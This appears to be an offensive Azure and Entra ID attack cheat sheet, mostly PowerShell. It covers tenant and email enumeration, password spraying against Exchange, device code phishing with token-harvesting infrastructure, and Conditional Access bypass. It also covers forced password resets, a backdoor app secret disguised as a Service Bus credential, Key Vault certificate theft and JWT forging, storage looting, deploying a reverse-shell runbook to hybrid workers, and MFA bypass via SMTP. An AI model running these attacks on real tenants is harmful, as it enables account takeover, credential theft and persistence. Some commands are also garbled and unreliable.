Authentication
- Using username / app secret
# Connect to ARM
# for a normal user, It will open the authentication popup
Connect-AzZccount
# only use -serviceprincipal if you're connecting with a serviceprincipal/app
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant $tenant_id
# Connect to MG Graph
Connect-MgGraph -ClientSecretCredential $creds -TenantId $tenant_id
Get-MgContext- Using an access token
$GraphAccessToken = 'eyJ0...'
Connect-MgGraph -AccessToken ($GraphAccessToken | ConvertTo-SecureString -AsPlainText -Force)- Using a certificate
$AppCertificate=$[X509Certificate]$AppCertificate = Get-PfxCertificate -FilePath $full_path_to_cert.pfx
Connect-MgGraph -Certificate $AppCertificate -ClientId b1d10eb3-d631-499f-8197-f13de675904c -TenantId $tenant_id- Force change password for a user
# According to your role in Graph and Administrative unit role
$passwordProfile = @{
forceChangePasswordNextSignIn = $false
password = '$New_P@ssw0rd'
}
Update-MgUser -UserId $target_user@$targetcorp.onmicrosoft.com -PasswordProfile $passwordProfile- Force change app secret for application/serviceprincipal
$passwordCred = @{
displayName = 'Added by Azure Service Bus - DO NOT DELETE'
endDateTime = (Get-Date).AddMonths(6)
}
Add-MgApplicationPassword -ApplicationId da53a80e-cb86-4158-96e1-7b19f7fec496 -PasswordCredential $passwordCredRecon
Tenant
-
Check if Azure tenant exists
Get XML response https://login.microsoftonline.com/getuserrealm.srf?xml=1&login==username@defcorp.onmicrosoft.com Get JSON Response https://login.microsoftonline.com/getuserreal.srf?json=1&login==username@defcorp.onmicrosoft.comResponse
<RealmInfo Success="true"> <State>4</State> <UserState>1</UserState> <Login>=something@defcorphq.onmicrosoft.com</Login> <NameSpaceType>Managed</NameSpaceType> <DomainName>defcorphq.onmicrosoft.com</DomainName> <IsFederatedNS>false</IsFederatedNS> <FederationBrandName>Defense Corporation</FederationBrandName> <CloudInstanceName>microsoftonline.com</CloudInstanceName> <CloudInstanceIssuerUri>urn:federation:MicrosoftOnline</CloudInstanceIssuerUri> </RealmInfo>Look for the
NameSpaceTypeattribute:Managed--> means It doesn't use Federated servicesADFSUnknown--> means tenant doesn't exist.
-
Get the tenant Information
Visit
# Get tenant id
https://login.microsoftonline.com/defcorp.onmicrosoft.com/.well-known/openid-configurationEmails
# Enumerate Email IDs by making requests to the `GetCredentialType` API
python.exe o365creeper.py -f emails.txt -o validemails.txtServices
# Enumerates subdomains by subdomain guessing
Import-Module MicroBurst.psm1
Invoke-EnumerateAzureSubDomains -Base defcorphq -VerboseInitial Access
Password Spray & Bruteforce
Against the exchange service
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password P@ssw0rd -Threads 15 -OutFile owa-sprayed-creds.txt
Invoke-PasswordSprayEWS -ExchHostname mail.domain.com -UserList .\userlist.txt -Password P@ssw0rd -Threads 15 -OutFile sprayed-ews-creds.txtDevice Code Phishing
- Generate device_code
Powershell
# This is a microsoft office client_id $ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c" # This is all permissions scope # offline_access scope gives us a refresh_token for longer access time $Scope=".default offline_access" $GrantType = "urn:ietf:params:oauth:grant-type:device_code" $body = @{ "client_id" = $ClientID "scope" = $Scope } $authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Body $body Write-Output $authResponse - The response contains some parameterse. most important ones are
user_code,device_codeandverification_uri. - Request tokens using the device_code
Powershell
$body=@{ "client_id" = $ClientID "grant_type" = $GrantType "code" = $authResponse.device_code } $Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body -ErrorAction SilentlyContinue $GraphAccessToken = $Tokens.access_token
This attack has a single limitation which is that the verification_uri is only valid for 15 minutes. We can bypass that using:
Dynamic Device Code Phishing: + FOCI Family Of Client IDs
-
- In this attack we will send a link to the user that generates the
user_codeonce the user clicks on it. so now the timer will start by user clicking the link. We will need: - Storage account to:
- Host the static website (The website that will be sent to the user as a phishing link)
- Store the tokens after being fetched by the Aunction App.
- App Service: To host CORS Anywhere (opens in a new tab) application to bypass CORS limitations of Azure
- Function App:
- Request the tokens and store them in the storage account.
- In this attack we will send a link to the user that generates the
-
Leverege FRT and FOCI
Defending against Device Code Phishing: Detection:
- the attacker IP and Device that is logged in Entra ID Sign-in logs - as the authentication is initiated from there!
- Look at User sign-ins with Authentication Protocol: Device Code. Prevention:
- Using Condition Access policies:
- Location based Conditional Access Policy.
- Device Code Authentication Flow Conditional Access Policy. (Allow or Block) device code flow for any Identity.
Services
Usually we use AzureAD Module or AZ Powershell to interact with Azure AD
Graph
Users
# Enumerate all users
Get-AzureADUser -All $true
# Enumerate a specific user
Get-AzureADUser -ObjectId 'test@defcorphq.onmicrosoft.com'
# Search for a user based on string in first characters of DisplayName or userPrincipalName (wildcard not supported)
Get-AzureADUser -SearchString "admin"
Get-AzureADUser -All $ |?{$_.Displayname -match "admin"}
# List all attributes for a user
Get-AzureADUser -ObjectId 'test@defcorphq.onmicrosoft.com' | fl *
# Search attributes for all users that contain the string "password"
Get-AzureADUser -All $true|%{$Properties = $_;$Properties.PSObject.Properties.Name |${if ($Properties.$_ -match 'password'){"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}}
# All users who are synced from on prem
Get-AzureADUser -All $true |? {$_.OnPremisesSecurityIdentifier -ne $null}
# All users who are synced from AzureAD
Get-AzureADUser -All $true |? {$_.OnPremisesSecurityIdentifier -eq $null}
# Objects created by any user (use -ObjectId for a specific user)
Get-AzureADUser | Get-AzureADUserCreatedObjectGroups
# Enumerate a group with a group id
Get-MgGroup -GroupId 9d99db17-6d49-4c70-ac44-ed4280f91814 | fl
# List group members
Get-MgGroupMember -GroupId 9d99db17-6d49-4c70-ac44-ed4280f91814 | select Id, @{Name='userPrincipalName';Expression={$_.AdditionalProperties.userPrincipalName}} | fl
# List groups a user is a member of
(Get-MgUserMemberOf -UserId explorationsyncuser1@oilcorporation.onmicrosoft.com).AdditionalProperties
# Add a user to a group
New-MgGroupMember -GroupId 91f7bfb1-b326-4376-8953-5d6d9b44e443 -DirectoryObjectId $user_account_id -VerboseAdministrative Units
# Enumerate the administrative unit
Get-MgDirectoryAdministrativeUnit -AdministrativeUnitId 8355e587-6e2a-4e4c-8ebd-438e37576486 |fl
# List members of an administrative unit
Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId 8355e587-6e2a-4e4c-8ebd-438e37576486 | select Id, @{Name='userPrincipalName';Expression={$_.AdditionalProperties.userPrincipalName}} | flRoles
# Get role RoleDefinition
# Gets more info / Description about the role
Get-AzRoleDefinition -Name "Role Display Name"Devices
# List Registered owners of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
# Get all Azure joined and registered devices
Get-AzureADDevice -All $true | fl *
# Get the device configuration object (note the RegistrationQuota in the output)
Get-AzureADDeviceConfiguration | fl *
# List Registered users of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
# List devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId michaelmbarron@defcorphq.onmicrosoft.com
# List devices registered by a user
Get-AzureADUserRegisteredDevice -ObjectId michaelmbarron@defcorphq.onmicrosoft.com
# List devices managed using Intune
Get-AzureADUserOwnedDevice -ObjectId michaelmbarron@defcorphq.onmicrosoft.com
# List devices that are compliant
Get-AzureADDevice -All $true | ? { $_.IsCompliant -eq "True" }Applications
- Applications Enumeration
# List all applications in Entra ID
Get-MgApplication -All- Check if any application has client secret or certificates
$URI = "https://graph.windows.net/v1.0/Applications"
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $GraphAccessToken"
}
}
$Applications = (Invoke-RestMethod @RequestParams).value
$ApplicationsDetails = [PSCustomObject]@{
Applications = @()}
foreach($Application in $Applications)
{
$applicationObject = [PSCustomObject]@{
DisplayName = $Application.displayName
AppId = $Application.appId
CreatedDateTime = $Application.createdDateTime
ID = $Application.id
keyCredentials = $Application.keyCredentials
passwordCredentials = $Application.passwordCredentials
}
$ApplicationsDetails.Applications += $applicationObject
}
$ApplicationsDetails.Applications
# Save output to a file for later use
$ApplicationsDetails.Applications | Export-Clixml -Path .\Applications.xmlService Principals
# Get roles assigned to a service principal in the EntraID / Graph
Get-MgRoleManagementDirectoryRoleAssignment -Filter "principalId eq 'cddece96-16c9-4c93-9c9d-97c96f98be1d'" | ForEach-Object {
$roleDef = Get-MgRoleManagementDirectoryRoleDefinition -UnifiedRoleDefinitionId $_.RoleDefinitionId
[PSCustomObject]@{
RoleDisplayName = $roleDef.DisplayName
RoleId = $roleDef.Id
DirectoryScopeId = $_.DirectoryScopeId
}
} | Select-Object RoleDisplayName, RoleId, DirectoryScopeId | fl
# Get which member of the Administrative Unit the service principal has "specific Role" on
Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId b14fcc2e-7a5a-4935-b4a5-835fd8018efe -All | select Id, @{Name='userPrincipalName';Expression={$_.AdditionalProperties.userPrincipalName}} | fl
# Get owned objectec by serviceprincipalsecret
Get-MgServicePrincipalOwnedObject -ServicePrincipalId $serviceprincipal_id | select Id, @{Name='displayName';Expression={$_.AdditionalProperties.displayName}},@{Name='ObjectTyoe';Expression={$_.AdditionalProperties.'@odata.type'}} | fl
# Get roles assigned to the service principal in ARM / Named App role assignment
$serviceprincipal_id = "$serviceprincipal_id"
# Get AppRoleAssignments for the target SP
$assignments = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $targetSpId
foreach ($assignment in $assignments) {
# Get the resource service principal (the one that defines the role)
$resourceSp = Get-MgServicePrincipal -ServicePrincipalId $assignment.ResourceId
# Resolve AppRole using AppId
$appRole = (Get-MgServicePrincipal -Filter "appId eq '$($resourceSp.AppId)'").AppRoles | Where-Object {
$_.Id -eq $assignment.AppRoleId
}
# Output full assignment + resolved role
$appRole | format-list
}
# Enumerate Service Principals (visible as Enterprise Applications in Azure Portal).
# A Service Principal is the local representation of an app in a specific tenant.
# It is the security object that can be assigned Azure roles (acts like a "service account").
# Get all service principals
Get-AzADServicePrincipal
# Get all details about a specific service principal
Get-AzADServicePrincipal -ObjectId cdddd16e-2611-4442-8f45-053e7c37a264 | fl *
# Get service principals where the display name matches "app"
Get-AzADServicePrincipal | ? { $_.DisplayName -match "app" }CAPs
# Enumerate CAP
# MG Module
Get-MgIdentityConditionalAccessPolicy | fl
# Get all attributes of a CAP
# We should be looking for excluded applications / Groups / ... etc so we can bypass the CAP
Get-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $CAP_id |ConvertTo-Json
# If we have execluded applications (portal,devops,.. etc) we can use devicecode authorization flow to bypass the OTP
# U can change the $clientid based on the execluded applications
$ClientID = "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223"
$Scope = "https://management.azure.com/.default"
$body = @{
"client_id" = $ClientID
"scope" = $Scope
}
$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Body $body
$authResponse
# Now get a token using that device Code
$Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body -ErrorAction SilentlyContinueTAP
# Check if TAP is enabled
(Get-MgPolicyAuthenticationMethodPolicy).AuthenticationMethodConfigurations
# Get more info about TAP
(Get-MgPolicyAuthenticationMethodPolicyAuthenticationMethodConfiguration -AuthenticationMethodConfigurationId TemporaryAccessPass).AdditionalProperties
# What users/groups can use TAP
(Get-MgPolicyAuthenticationMethodPolicyAuthenticationMethodConfiguration -AuthenticationMethodConfigurationId TemporaryAccessPass).AdditionalProperties.includeTargets
# Request a TAP for a user
$properties = @{}
$properties.isUsableOnce = $True
$properties.startDateTime = (Get-Date)
$propertiesJSON = $properties | ConvertTo-Json
New-MgUserAuthenticationTemporaryAccessPassMethod -UserId username@domain.onmicrosoft.com -BodyParameter $propertiesJSON | flARM
List all subscriptions with ARM or Microsoft Graph
$Token = 'eyJ0eXAi..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
Authorization = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).valueRoles
We should enumerate the role assignments on Azure Resources.
Get-AzRoleAssignmentKeyVaults
Depending on the permissions we have on a keyvault, will determine what can we do with stored credentials:
- If user has
/vaults/secrets/getsecret/action--> we can dump the certificate - If user hsa
vaults/keys/sign/action--> we can use the key to sign a JWT assertion, but can't dump the certificate
- Enumerate permissions on a keyvault
# Enumerate permissions on the keyvault using the ARM API.
# Retrieve KeyVault object (specify name or other params if needed)
$KeyVault = Get-AzKeyVault
# Get current subscription ID
$SubscriptionID = (Get-AzSubscription).Id
$ResourceGroupName = $KeyVault.ResourceGroupName
$KeyVaultName = $KeyVault.VaultName
$URI = "https://management.azure.com/subscriptions/$SubscriptionID/resourceGroups/$ResourceGroupName/providers/Microsoft.KeyVault/vaults/$KeyVaultName/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Access_Token" # Ensure $Access_Token is set before running
}
}
$Permissions = (Invoke-RestMethod @RequestParams).value
$Permissions | Format-List *- Request access token for KeyVault data plane
# Get Access Token for KeyVault data plane using the keyvault API and a certificate
$KeyVaultToken = New-AccessToken -clientCertificate $clientCertificate -tenantID d6bd5a42-7c65-421c-ad23-a25a5d5fa57f -appID 2b7c28bd-def1-415a-b407-41627de6e8f1 -scope 'https://vault.azure.net/.default'- Depending on permissions:
-
If user can dump certificate:
Powershell# Get name of the certificate (Get-AzKeyVaultCertificate -VaultName $vault_name).Name # Extractcertificate from keyvault secret $secret = Get-AzKeyVaultSecret -VaultName $vault_name -Name appcert -AsPlainText # Convert from base64 encoded string $secretByte = [Convert]::FromBase64String($secret) # Write the certificate to a file [System.IO.File]::WriteAllBytes(".\Appcert.pfx", $secretByte) # Load the certificate $cert=[System.Security.Cryptography.X509Certificates.X509Certificate2]::new("full_path\cert.pfx") # certificate to access_token . .\New-AccessToken.ps1 New-AccessToken -clientCertificate $clientCertificate -tenantID d6bd5a42-7c65-421c-ad23-a25a5d5fa57f -appID 2b7c28bd-def1-415a-b407-41627de6e8f1 -scope 'https://management.azure.com/.default' -
If user can only sign with the certificate but can't dump it
JWT Assertion Create signed JWT with a certificate from inside a KeyVault
function KeyVaultToSignedJWT {
param(
[Parameter(Mandatory=$true)]
[string]$AccessToken,
[Parameter(Mandatory=$true)]
[string]$VaultName,
[Parameter(Mandatory=$true)]
[string]$AppId,
[string]$Audience = 'https://login.microsoftonline.com/common/oauth2/token',
# Optional filter to pick a specific certificate by name substring
[string]$CertificateNameContains,
# API versions (override only if needed)
[string]$CertificatesApiVersion = '7.4',
[string]$SignApiVersion = '7.3'
)
function Convert-ToBase64Url([byte[]]$bytes) {
$b64 = [Convert]::ToBase64String($bytes)
$b64 = $b64.TrimEnd('=').Replace('+','-').Replace('/','_')
return $b64
}
$headers = @{ Authorization = "Bearer $AccessToken" }
$baseUri = "https://$VaultName.vault.azure.net"
# 1) List certificates (with paging)
$listUri = "$baseUri/certificates?api-version=$CertificatesApiVersion"
$selected = $null
while ($listUri -and -not $selected) {
$listResponse = Invoke-RestMethod -Method GET -Uri $listUri -Headers $headers -ContentType 'application/json'
$items = $listResponse.value
if ($CertificateNameContains) {
$items = $items | Where-Object { $_.id -like "*$CertificateNameContains*" }
}
$selected = $items | Select-Object -First 1
if (-not $selected -and $listResponse.nextLink) {
$listUri = $listResponse.nextLink
} else {
$listUri = $null
}
}
if (-not $selected) {
if ($CertificateNameContains) {
throw "No certificates found in vault '$VaultName' that match '$CertificateNameContains'."
} else {
throw "No certificates found in vault '$VaultName'."
}
}
# Extract certificate object name from the id segment after 'certificates/'
$segments = ([Uri]$selected.id).Segments | ForEach-Object { $_.TrimEnd('/') } | Where-Object { $_ }
$certIndex = [Array]::IndexOf($segments, 'certificates')
$certName = if ($certIndex -ge 0 -and $segments.Length -gt ($certIndex + 1)) { $segments[$certIndex + 1] } else { $null }
# 2) Fetch certificate details to obtain 'kid'
$detailsUri = "$($selected.id)?api-version=$CertificatesApiVersion"
$certDetails = Invoke-RestMethod -Method GET -Uri $detailsUri -Headers $headers -ContentType 'application/json'
if (-not $certDetails.kid) {
throw "Certificate '$certName' does not contain a 'kid'. Ensure the certificate has an associated Key Vault key."
}
# 3) Build JWT (valid for 2 minutes)
$epochStart = (Get-Date "1970-01-01T00:00:00Z").ToUniversalTime()
$now = (Get-Date).ToUniversalTime()
$exp = [math]::Round((New-TimeSpan -Start $epochStart -End $now.AddMinutes(2)).TotalSeconds, 0)
$nbf = [math]::Round((New-TimeSpan -Start $epochStart -End $now).TotalSeconds, 0)
$jwtHeader = @{
alg = 'RS256'
typ = 'JWT'
x5t = $selected.x5t
}
$jwtPayload = @{
aud = $Audience
exp = $exp
iss = $AppId
jti = [guid]::NewGuid().ToString()
nbf = $nbf
sub = $AppId
}
$headerJson = ($jwtHeader | ConvertTo-Json -Compress)
$payloadJson = ($jwtPayload | ConvertTo-Json -Compress)
$b64uHeader = Convert-ToBase64Url ([System.Text.Encoding]::UTF8.GetBytes($headerJson))
$b64uPayload = Convert-ToBase64Url ([System.Text.Encoding]::UTF8.GetBytes($payloadJson))
$unsignedJwt = "$b64uHeader.$b64uPayload"
$unsignedJwtBytes = [System.Text.Encoding]::UTF8.GetBytes($unsignedJwt)
# SHA256 hash → base64url
$hasher = [System.Security.Cryptography.HashAlgorithm]::Create('sha256')
$jwtSha256Hash = $hasher.ComputeHash($unsignedJwtBytes)
$jwtDigestB64u = Convert-ToBase64Url $jwtSha256Hash
# 4) Sign using Key Vault key (kid)
$signUri = "$($certDetails.kid)/sign?api-version=$SignApiVersion"
$signBody = @{
alg = 'RS256'
value = $jwtDigestB64u
} | ConvertTo-Json -Compress
$signHeaders = @{
Authorization = "Bearer $AccessToken"
'Content-Type' = 'application/json'
}
$signResponse = Invoke-RestMethod -Uri $signUri -Method POST -Headers $signHeaders -Body $signBody -ContentType 'application/json'
$signatureB64 = $signResponse.value
$signatureB64u = $signatureB64.Replace('+','-').Replace('/','_').TrimEnd('=')
$signedJwt = "$unsignedJwt.$signatureB64u"
# Output composite result
[pscustomobject]@{
SignedJwt = $signedJwt
CertificateName = $certName
X5t = $selected.x5t
Kid = $certDetails.kid
CertificateDetails = $certDetails
}
} $signed_jwt = KeyVaultToSignedJWT -AccessToken $keyvault_access_token -VaultName 'appvault_name' -AppId 'f23a808b-6a01-4fb2-bfd9-bdb3e8390421'- Use the signed JWT token to request an ARM access token
Powershell
$uri = "https://login.microsoftonline.com/d6bd5a42-7c65-421c-ad23-a25a5d5fa57f/oauth2/v2.0/token" $headers = @{'Content-Type' = 'application/x-www-form-urlencoded'} $response = Invoke-RestMethod -Uri $uri -UseBasicParsing -Method POST -Headers $headers -Body ([ordered]@{ 'client_id' = $AppID 'client_assertion' = $signed_jwt.signedjwt 'client_assertion_type' = 'urn:ietf:params:oauth:client-assertion-type:jwt-bearer' # change scope based on the resource you want # 'scope' = 'https://storage.azure.com/.default' 'scope' = 'https://management.azure.com/.default' 'grant_type' = 'client_credentials' }) $token = $response.access_token $token
Storage Accounts
# Microburst
# Look for storage blobs configured with public access
Invoke-EnumerateAzureBlobs -base mycorp
# We can access the files using their URL/file_name
# We can use SAS URLs with Storage Explorer-
Get exact permissions on a storage account
Powershell$URI = 'https://management.azure.com/subscriptions/3604302a-3804-4770-a878-5fc5c142c8bc/resourceGroups/Exploration/providers/Microsoft.Storage/storageAccounts/oildatastore/providers/Microsoft.Authorization/permissions?api-version=2022-04-01' $RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $access_token" } } $DataAnalyticsPermissions = (Invoke-RestMethod @RequestParams).value $DataAnalyticsPermissions | fl * -
List containers in a storage account
Powershell# Get the list of files present in the storage account. $URL = "https://$storageaccount_name.blob.core.windows.net/?comp=list" $Params = @{ "URI" = $URL "Method" = "GET" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $AppStorageToken" "x-ms-version" = "2017-11-09" "accept-encoding" = "gzip, deflate" } } $Result = Invoke-RestMethod @Params -UseBasicParsing $Result -
List files inside a container
Powershell$URL = "https://$storageaccount_name.blob.core.windows.net/$container_name?restype=container&comp=list" $Params = @{ "URI" = $URL "Method" = "GET" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $AppStorageToken" "x-ms-version" = "2017-11-09" "accept-encoding" = "gzip, deflate" } } $XML=Invoke-RestMethod @Params -UseBasicParsing #Remove BOM characters and list Blob names $XML.TrimStart([char]0xEF,[char]0xBB,[char]0xBF) | Select-Xml -XPath "//Name" | foreach {$_.node.InnerXML} -
Read a file from a storage account container
Powershell$URL = "https://$storageaccount_name.blob.core.windows.net/$container_name/$file_name.txt" $Params = @{ "URI" = $URL "Method" = "GET" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $AppStorageToken" "x-ms-version" = "2017-11-09" "accept-encoding" = "gzip, deflate" } } Invoke-RestMethod @Params -UseBasicParsing -
Add tags to a file
Powershell$URL = "https://$datastore_name.blob.core.windows.net/$container_name/$file_name?comp=tags" $Params = @{ "URI" = $URL "Method" = "PUT" "Headers" = @{ "Content-Type" = "application/xml; charset=UTF-8" "Authorization" = "Bearer $storage_token" "x-ms-version" = "2020-04-08" } } $Body = @" <?xml version="1.0" encoding="utf-8"?> <Tags> <TagSet> <Tag> <Key>$tag_name</Key> <Value>$tag_value</Value> </Tag> </TagSet> </Tags> " Invoke-RestMethod @Params -UseBasicParsing -Body $Body
Automation Accounts
# List automation accounts
az extension add --upgrade -n automation
az automation account list'
# Check if the automation account is using a hybrid worker group. Will allow us to execute commands on on-prem machine
Get-AzAutomationHybridWorkerGroup -AutomationAccountName HybridAutomation -ResourceGroupName Engineering
# Import a powershell script into the runbook
Import-AzAutomationRunbook -Name reverseshell -Path .\reverse-shell.ps1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Type PowerShell -Force -Verbose
# Publish the runbook
Publish-AzAutomationRunbook -RunbookName reverseshell -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose
# Start the runbook
Start-AzAutomationRunbook -RunbookName reverseshell -RunOn Workergroup1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -VerboseLogic apps
# Get the resourceID
get-azresource
# Get an access token
$workflow_access_token = (get-azaccesstoken).token
# # List permissions on a workflow
$URI = "https://management.azure.com/$resource_id
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $accesstoken"
}
}
$Permissions = (Invoke-RestMethod @RequestParams).value
$Permissions.actions
# Check for logic app HTTP trigger
Get-AzLogicAppTriggerCallbackUrl -TriggerName manual -Name $logic_app_name -ResourceGroupName $res_group_name
# Read the logic app definition
(Get-AzLogicApp -Name WellPlanningLogicApp).DefinitionEnumeration with GUI tools
ROADTools (opens in a new tab)
# Authentication (It supports username, password, access tokens, device code flow, refresh tokens, , PRT)
roadreconauth -u test@mycorp.onmicrosoft.com -p P@ssw0rd
roadrecon gather
roadrecon guiPersistence
MFA Bypasses
- Every MFA other than Phishing-resistant MFA - FIDO2 keys, Windows Hello and Certificate-based authentication - can be bypassed.
- Detect if MFA is enforced
SMTP
- Because SMTP is a legacy protocol, MFA can't be configured on it. and It can be used with Azure. So if a user's creds got comprimised. We can send emails with his account without MFA.